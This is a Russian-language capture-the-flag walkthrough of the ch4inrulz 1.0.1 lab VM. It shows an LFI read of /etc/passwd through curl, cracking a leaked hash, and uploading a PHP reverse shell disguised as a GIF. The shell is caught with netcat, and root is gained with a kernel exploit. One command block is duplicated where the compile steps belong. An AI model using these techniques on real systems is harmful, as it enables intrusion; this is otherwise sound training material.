CTF-соревнование: взлом ch4inrulz (1.0.1)

CTF-соревнование: взлом ch4inrulz (1.0.1)

Суть лабораторной работы: получить права суперпользователя и прочитать содержимое файла root.txt.

Автор: Raj Chandel

Привет друзья! Пришло время рассказать об очередном CTF-соревновании. Эта виртуальная машина была создана Френком Тоупом (Frank Tope). Суть лабораторной работы: получить права суперпользователя и прочитать содержимое файла root.txt.

Уровень сложности: Средний.

Несмотря на то, что нам не придется переполнять буфер и разрабатывать какие-либо эксплоиты, включить голову все же придется.

План действий:

  1. Сканирование портов и выяснение IP-адреса.

  2. Работа с директориями через 80-й порт.

  3. Работа с директориями через 8011-й порт.

  4. Выявление LFI-уязвимости.

  5. Выявление резервного HTML-файла.

  6. Взлом хеша.

  7. Авторизация для доступа к директории /development.

  8. Загрузка PHP-шелла, замаскированного под GIF-файл.

  9. Обход проверок и использование этого файла для инициации шелла на базе netcat.

  10. Расширение привилегий и решение конечной задачи.

Начинаем погружение.

Вначале, как обычно, на виртуальной машине запускаем netdiscover для выяснения IP-адреса. В моем случае IP-адрес - 192.168.1.103.

Рисунок 1: Выяснение IP-адреса на виртуальной машине

Далее запускаем nmap в режиме агрессивного сканирования для выявления всех открытых портов.

Рисунок 2: Поиск открытых портов

После того как выяснилось, что 80-й порт открыт, заходим в браузер и смотрим содержимое веб страницы, которая, как оказалось, больше похожа на резюме.

Рисунок 3: Стартовая страница веб-сервера

Пока что ничего интересного не обнаружилось. Начинаем поиск доступных директорий при помощи утилиты dirb.

Рисунок 4: Поиск доступных директорий

На первый взгляд, файл robots.txt мог бы нас заинтересовать, но там тоже ничего полезного не обнаружилось. Другая папка, которая привлекает внимание - /development. Кажется, в этой директории находится тестовая версия сайта. Для доступа нужны имя пользователя и пароль.

Рисунок 5: Запрос имени пользователя и пароля при попытке получить доступ к директории /development

Затем пробуем исследовать порт 8011. Судя по информации, полученной в браузере, этот порт используется как бэкэнд для директории /development.

Рисунок 6: Стартовая страница, привязанная к порту 8011

Вновь запускаем dirb для поиска доступных папок.

Рисунок 7: Поиск доступных директорий на порту 8011

Обнаружилась интересная папка /api. Переходим опять в браузер.

Рисунок 8: Содержимое стартовой страницы папки /api

После экспериментов с URL, выясняется, что, скорее всего, рабочий файл только один - files_api.php.

Рисунок 9: Результат запуска скрипта files_api.php

Полученное сообщение наталкивает на мысль, что нам нужно в качестве параметра передать имя файла.

192.168.1.103:8011/api/files_api.php?file=/etc/passwd

Рисунок 10: Попытка прочитать содержимое файла /etc/passwd

Мы оказались в ловушке J. Однако можно попробовать передать тот же самый параметр через curl.

curl – X POST –d "file=/etc/passwd" http://192.168.1.103:8011/api/files_api.php

Выясняется, что можно прочитать файл через LFI-уязвимость.

Рисунок 11: Содержимое файла /etc/passwd, полученное через curl

После экспериментов с найденной возможностью ничего полезного не обнаружилось.

Ранее мы выяснили, что есть сервер, используемый для разработки. Соответственно, помимо html-файлов может быть нечто другое. Например, резервная копия index.html.bak.

Рисунок 12: Сохранение файла index.html.bak

Далее смотрим содержимое сохраненного файла при помощи утилиты cat.

Рисунок 13: Содержимое index.html.bak

Оказалось, что внутри резервной копии находится хеш. Копируем хеш в файл hash.txt и запускаем John the Ripper.

Рисунок 14: Взлом найденного хеша

По результатам работы John the Ripper нашлась учетная запись для доступа к папке /development:

frank:frank!!!!

Рисунок 15: Авторизация в директории /development

После авторизации находим сокровище!

Рисунок 16: Обнаружение загрузчика файлов

Сообщение на странице выше говорит о том, что загрузчик файлов пока не доделан. Переходим в директорию /uploader.

Рисунок 17: Содержимое директории /uploader

В загрузчике есть только проверка картинок (jpg, png, gif) и размера файлов.

Открываем файл /usr/share/webshells/php/php-reverse-shell.php в текстовом редакторе, в самом начале добавляем строку GIF98 и сохраняем измененный вариант под именем shell.gif.

Рисунок 18: Изменение файла, используемого для организации шелла

Теперь загрузчик будет думать, что мы загружаем картинку, а на самом деле – обратный PHP-шелл.

После загрузки файла shell.gif получаем следующее сообщение.

Рисунок 19: Файл загружен успешно

В сообщении выше говорится, что файл находится в директории, используемой для загрузок.

Проведем небольшое исследование.

Имя веб-сайта: Frank’s website

Имя загрузчика: Frank uploader

Первое сообщение веб-сайта: I love patterns (я люблю шаблоны)

После некоторых размышлений приходим к выводу, что папка, куда загружаются файлы, может называться frank uploads.

Пробуем различные варианты: Frankupload, frankUploads, franksuploads и т. д.

Кажется, нужная нам папка называется FRANKuploads.

Этот шаг может отнимать много времени, поскольку альтернативных вариантов выяснение имени данной директории, скорее всего, не существует.

Рисунок 20: Содержимое директории FRANKuploads

Теперь нам осталось запустить загруженный файл. И здесь нам на помощь опять приходит curl.

Выполняем следующую команду:

curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.103:8011/api/files_api.php

Рисунок 21: Запуск веб-шелла

В другом терминале активируем netcat:

nc -lvp 1234

Рисунок 22: Активация netcat

Как только curl активировал LFI-уязвимость и сделал запрос к файлу shell.gif, должна появиться сессия в netcat!

id

python –c 'import pty;pty.spawn("/bin/bash");'

uname –a

После непродолжительных поисков находим эксплоит для Linux-ядра версии 2.6.

searchsploit 15285

cd Desktop

cp /usr/share/exploitdb/exploits/linux/local/15285.c .

python –m SimpleHTTPServer 80

Рисунок 23: Поиск подходящего эксплоита

Через шелл на виртуальной машине загружаем, компилируем и запускаем эксплоит:

searchsploit 15285

cd Desktop

cp /usr/share/exploitdb/exploits/linux/local/15285.c .

python –m SimpleHTTPServer 80

В итоге получаем права суперпользователя и смотрим содержимое требуемого файла!

cd root

ls

cat root.txt

Рисунок 24: Содержимое файла, который требовалось прочитать

Большой брат следит за вами, но мы знаем, как остановить его

Подпишитесь на наш канал!